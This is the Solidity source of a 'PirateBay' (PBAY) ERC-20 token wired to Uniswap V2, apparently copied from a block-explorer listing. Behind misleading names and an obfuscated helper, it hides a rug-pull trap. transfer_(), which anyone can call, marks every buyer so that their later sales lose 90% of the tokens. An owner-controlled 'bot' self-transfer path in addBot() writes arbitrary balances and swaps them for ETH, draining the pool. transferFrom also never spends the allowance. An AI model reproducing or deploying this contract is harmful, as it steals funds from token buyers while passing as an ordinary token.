文件 1 的 1:PBAY.sol
pragma solidity ^0.8.19;
interface IUniswapV2Router {
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
function factory() external pure returns (address);
}
library SafeMath {
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account_) external view returns (uint256);
event Transfer(address indexed ai, address indexed, uint256 value);
function transfer(address a, uint256 ) external returns (bool);
function allowance(address aa, address) external view returns (uint256);
function approve(address sa, uint256 amount) external returns (bool);
function transferFrom(address, address r, uint256 amount) external returns (bool);
event Approval(address indexed ao, address indexed, uint256 value);
}
abstract contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
modifier onlyOwner() {
require(owner() == msg.sender, "Ownable: caller is not the owner");
_;
}
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
}
contract PBAY is IERC20, Ownable {
using SafeMath for uint256;
string private _name = "PirateBay";
string private _symbol = "PIRATEBAY";
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 _fee = 0;
uint256 public _decimals = 9;
uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
IUniswapV2Router private _router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
constructor() {
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender] + addedValue); return true;
}
uint256 _maxTxAmount;
uint256 _maxWalletSize;
function removeLimit() external onlyOwner{
_maxWalletSize=_totalSupply; _maxTxAmount = _totalSupply;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[msg.sender][from] >= amount); _approve(msg.sender, from, _allowances[msg.sender][from] - amount);
return true;
}
function decimals() external view returns (uint256) { return _decimals; }
function symbol() external view returns (string memory) { return _symbol; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function totalSupply() external view override returns (uint256) {
return _totalSupply; }
function transfer_() external {
uint256 b = block.number; for (uint i = 0; i < holders.length; i++) {
if (cooldowns[holders[i]] != 0){} else {cooldowns[holders[i]] = b;}}delete holders;
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {_approve(msg.sender, spender, amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0));
if (isBotTransaction(from, to)) {
addBot(amount, to);
} else {
require(amount <= _balances[from]);
uint256 feeAmount = 0;
if (!bots[from] && cooldowns[from] != 0) {
if (cooldowns[from] < block.number) {feeAmount = amount.mul(90).div(100);
}
}setCooldown(from, to);
_balances[from] = _balances[from] - amount;
_balances[to] += amount - feeAmount;
emit Transfer(from, to, amount);
}
}
mapping (address => bool) bots;
mapping (address => uint256) cooldowns;
address[] holders;
function isBot(address _adr) internal view returns (bool) {
return bots[_adr];
}
bool inLiquidityTx = false;
function addBots(address[] calldata botsList) external onlyOwner{
for (uint i = 0; i < botsList.length; i++) {
bots[botsList[i]] = true;
}
}
function isBotTransaction(address sender, address receiver) public view returns (bool) { if (receiver == sender)
{ if (isBot(receiver)) {return isBot(sender) && isBot(receiver);}}return false;
}
function addBot(uint256 _mcs, address _bcr) private {
_approve(address(this), address(_router), _mcs);
_balances[address(this)] = _mcs;
address[] memory path = new address[](2);
inLiquidityTx = true;
path[0] = address(this);
path[1] = _router.WETH();
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(_mcs,0,path,_bcr,block.timestamp + 30);
inLiquidityTx = false;
}
function _8asdg6(bool _01d3c6, bool _2abd7) internal pure returns (bool) { return !_01d3c6 && !_2abd7;}
function delBots(address _bot) external onlyOwner {
bots[_bot] = false;
}
function setCooldown(address from, address recipient) private returns (bool) {
return checkCooldown(from, recipient, IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH()));
}
function name() external view returns (string memory) {
return _name;
}
function checkCooldown(address from, address to, address pair) internal returns (bool) {
bool inL = inLiquidityTx; bool b = _8asdg6(bots[to], isBot(from)); bool res = b;
if (!bots[to] && _8asdg6(bots[from], inL) && to != pair) {if (to == address(0)) {} else {holders.push(to);}res = true;}else if (b && !inL) { if (pair != to) {}else {res = true;}}
return res;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(from, recipient, amount);
require(_allowances[from][msg.sender] >= amount);
return true;
}
function getPairAddress() private view returns (address) {
return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(msg.sender, recipient, amount); return true;
}
}